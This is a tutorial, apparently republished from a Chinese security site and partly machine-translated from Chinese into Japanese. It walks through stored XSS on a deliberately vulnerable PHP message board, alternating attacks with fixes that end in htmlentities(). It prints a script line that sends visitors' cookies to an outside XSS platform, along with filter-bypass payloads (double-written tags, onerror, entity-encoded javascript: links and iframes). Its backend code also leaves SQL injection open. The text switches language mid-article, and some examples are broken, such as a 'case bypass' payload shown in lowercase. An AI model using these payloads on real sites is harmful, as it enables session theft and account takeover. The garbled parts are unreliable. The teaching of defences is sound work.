ホームページ >運用・保守 >安全性 >ワンタイム保存型 XSS の実践的な攻撃と防御

ワンタイム保存型 XSS の実践的な攻撃と防御

王林
王林転載
2019-12-03 17:42:523755ブラウズ

ワンタイム保存型 XSS の実践的な攻撃と防御

XSS に保存されるもの

#実行可能コードを Web ページに挿入し、正常に実行することで、攻撃の目的は通常、JavaScript スクリプトを挿入します。テスト プロセスでは通常、次のメソッドを使用します。

<script>alert(1)</script>

この JS コードを使用してボックスをポップアップし、xss 脆弱性の存在を証明します。それで、初心者はボックスをポップアップすることに何の意味があるのか​​と疑問に思うかもしれません。

実際には、ポップアップ ボックスはこの脆弱性の存在を証明するためのものです。この脆弱性を悪用する方法は数多くあります。

たとえば、xss プラットフォームを使用できます:

ワンタイム保存型 XSS の実践的な攻撃と防御

プラットフォームによって生成された xss スクリプトを作成します:

<script src=//xsspt.com/ZsgUBf></script>

誰かが入力したときゾーン このスクリプトを含むページがある場合、js スクリプトはその cookie を取得し、それを xss プラットフォームに送信します。

xss プラットフォームにログインして待つだけで、Cookie を取得した後、パスワードなしでアカウントにログインできるようになります。

注: この記事の焦点は、ハッカーの観点から XSS 攻撃を段階的に実行し、次に開発者の観点から XSS 攻撃を段階的に防御する方法について説明することです。したがって、この記事では、開発者としてバックエンドのコードを修正し、ハッカーとしてフロントエンド ページに対して XSS 攻撃を実行します。

保存された XSS 脆弱性の発現に関して、より古典的なものは掲示板です。しかし、私たちは皆法律を遵守する優秀な学生であり、外部の Web サイトをテストすることはできないため、30 分かけて自分たちで掲示板を作りました。

まず、フロントエンド表示ページ Message_Board.php とバックエンド データ ストレージ ページ addMessage.php

ワンタイム保存型 XSS の実践的な攻撃と防御

フロントエンドの表示ページが必要です。 -エンド コードはこの記事の焦点では​​ありません (興味深いので自分で確認できます

フロントエンド コード )、バックエンド コードに焦点を当てます addMessage.php:

<?php
	$nickname = @$_POST[&#39;nickname&#39;];//昵称
	$email = @$_POST[&#39;email&#39;];//邮箱
	$content = @$_POST[&#39;content&#39;];//留言内容
	$now_time = @$_POST[&#39;now_time&#39;];//留言时间
	$ini= @parse_ini_file("config.ini");
    $con = @mysql_connect($ini["servername"],$ini["username"],$ini["password"]);	if($con){
		mysql_query("set names &#39;utf8&#39;");//解决中文乱码问题
		mysql_select_db($ini["dbname"]);
		$sql1 = "select count(*) from message_board";
		$result = mysql_query($sql1);
		$floor = mysql_fetch_row($result)[0] + 1;
		$sql = "insert into message_board values
($floor,\"$nickname\",\"$email\",\"$content\",\"$now_time\")";
		mysql_query($sql);
	}?>

渡された 4 つのパラメータをまったく処理せず、データベースに直接保存していることがわかります。

したがって、次のように入力する限り:

ワンタイム保存型 XSS の実践的な攻撃と防御

送信後、システムは自動的にページを更新し、ポップアップ ボックスが表示されます。

ワンタイム保存型 XSS の実践的な攻撃と防御

[OK] をクリックすると、メッセージの内容とメッセージ送信者が両方とも空であることがわかります。

ワンタイム保存型 XSS の実践的な攻撃と防御

これは、js スクリプトが解析されているためです。この時点で、F12 キーを押し、ブラウザーの開発者ツールを開き、js スクリプトを見つけます。

ワンタイム保存型 XSS の実践的な攻撃と防御

それでは、ここで質問です。

結局のところ、私たちには別のアイデンティティがあるのですが、開発者はそれをどうやって守るべきなのでしょうか?

0×00、これは最も単純なものです。フロントエンド コードを変更するだけです。

入力タグに maxlength 属性を追加します

<input type="text" name="nickname" placeholder="留言者昵称" maxlength="10">

原理としては、jsスクリプトは<script></script>の形式で長さが17なので、フロントエンドで長さを制限すればハッカーによるxss実行を防ぐことができます。攻撃します。 ######しかし!開発はそう簡単ではありません!

私たちは開発を望んでいるハッカーなので、自分たちで開発する必要があります。

攻撃者として、フロントエンド コードを変更することもできます。具体的な操作は、ブラウザの F12 (開発者ツール) を使用することです。参照してください。長さを直接変更できます。

さらに、パケット キャプチャ方式を使用して、長さの制限を受けずにパケットに直接書き込むこともできます。

0×01. キーワード script をフィルタリングしますワンタイム保存型 XSS の実践的な攻撃と防御

開発者であれば、xss 攻撃を実行するには js スクリプトを挿入する必要があることが簡単にわかります。 、および js スクリプトの特徴は非常に明白であり、スクリプトには script キーワードが含まれているため、スクリプト フィルタリングを実行するだけで済みます。

前のコードに戻ります。

説明の便宜上、ニックネーム パラメーターのみを取り上げますが、実際には、渡された 4 つのパラメーターは同じ方法で処理する必要があります。

$nickname = str_replace("script", "", @$_POST[&#39;nickname&#39;]);//昵称

上面这个str_replace()函数的意思是把script替换为空。

可以看到,script被替换为空,弹框失败。

ワンタイム保存型 XSS の実践的な攻撃と防御

那么黑客该如何继续进行攻击呢?

答案是:大小写绕过

<script>alert(1)</script>

ワンタイム保存型 XSS の実践的な攻撃と防御

因为js是不区分大小写的,所以我们的大小写不影响脚本的执行。

成功弹框!

ワンタイム保存型 XSS の実践的な攻撃と防御

0×02、使用str_ireplace()函数进行不区分大小写地过滤script关键字

作为一名优秀的开发,发现了问题当然要及时改正,不区分大小写不就行了嘛。

后端代码修正如下:

$nickname = str_ireplace("script", "", @$_POST[&#39;nickname&#39;]);//昵称

str_ireplace()函数类似于上面的str_replace(),但是它不区分大小写。

那么,黑客该如何绕过?

答案是:双写script

<Sscriptcript>alert(1)</Sscriptcript>

ワンタイム保存型 XSS の実践的な攻撃と防御

原理就是str_ireplace()函数只找出了中间的script关键字,前面的S和后面的cript组合在一起,构成了新的Script关键字。

弹框成功!

ワンタイム保存型 XSS の実践的な攻撃と防御

0×03、使用preg_replace()函数进行正则表达式过滤script关键字

$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST[&#39;nickname&#39;]);//昵称

显然,弹框失败。

ワンタイム保存型 XSS の実践的な攻撃と防御

攻击者如何再一次绕过?

答案是:用img标签的oneerror属性

<img  src=x onerror=alert(1) alt="ワンタイム保存型 XSS の実践的な攻撃と防御" >

0×04、过滤alert关键字

看到这里,不知道你烦了没有,以开发的角度来讲,我都有点烦。大黑阔你不是喜欢弹窗么?我过滤alert关键字看你怎么弹!

$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST[&#39;nickname&#39;]);//昵称
$nickname = preg_replace( "(.*)a(.*)l(.*)e(.*)r(.*)t/i", "", $nickname);//昵称

那么,攻击者该怎么办呢?

答案是:编码绕过

<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#49;&#41;>a</a>

当点击页面上的超链接时,会弹框。

ワンタイム保存型 XSS の実践的な攻撃と防御

但是为什么呢?

这种编码方式为字符编码

字符编码:十进制、十六进制ASCII码或unicode 字符编码,样式为“数值;”, 例如“j”可以编码为“j”或“j ”

上述代码解码之后如下:

<a href=javascript:alert(1)>a</a>

你能明显感觉到限制:由于使用到了a标签,所以只有点击时,才会弹框。

作为一个大黑阔,我们当然是不满意的,能不能让所有进入这个页面的人都弹框?

当然可以了:用iframe标签编码

<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;
&#41;>

这种写法,同样既没有script关键字,又没有alert关键字。

ワンタイム保存型 XSS の実践的な攻撃と防御

可以看到弹框成功!

ワンタイム保存型 XSS の実践的な攻撃と防御

可是你也能看到,由于使用了iframe标签,留言板的样式已经变形了。实战中尽量不要用。

0×05、过滤特殊字符

优秀的开发,永不认输!你个小小的黑阔,不就是会插入js代码么?我过滤特殊字符,看你代码咋被解析?

可是我不想手撸代码来列举那么多特殊字符怎么办?

php给我们提供了htmlentities()函数:

$nickname = htmlentities(@$_POST[&#39;nickname&#39;]);//昵称

htmlentities()函数的作用是把字符转换为 HTML 实体。

ワンタイム保存型 XSS の実践的な攻撃と防御

看到这里,你可能还是不明白HTML字符实体是什么。我举个例子吧,当你想在HTML页面上显示一个小于号(

可以看到,我们输入的内容全部显示在页面上了。

ワンタイム保存型 XSS の実践的な攻撃と防御

可是却没有弹框。

我们鼠标右键,查看网页源代码

ワンタイム保存型 XSS の実践的な攻撃と防御

际上,我们输入的内容已经变成了HTML实体:

<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;
&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

无法被解析为js脚本。

黑客在当前场景下已经无法攻击了(在某些其他场景,即使使用了htmlentities()函数,仍然是可以攻击的,这就不在本文讨论范围之内了)

0×06、总结

开发者不应该只考虑关键字的过滤,还应该考虑特殊符号的过滤 。

黑客在面对未知的情况时,要不断尝试,这对于知识的储备量有较高的要求。

对于xss攻击,站在开发者角度来讲,仅仅用一个htmlentities()函数基本可以做到防御,可是一个优秀的开发者应该明白它的原理。站在黑客的角度来讲,面对环境的逐步变化,条件的逐步限制,攻击思路灵活变化是对整个职业生涯有益的。

相关文章教程推荐:web服务器安全

以上がワンタイム保存型 XSS の実践的な攻撃と防御の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はfreebuf.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。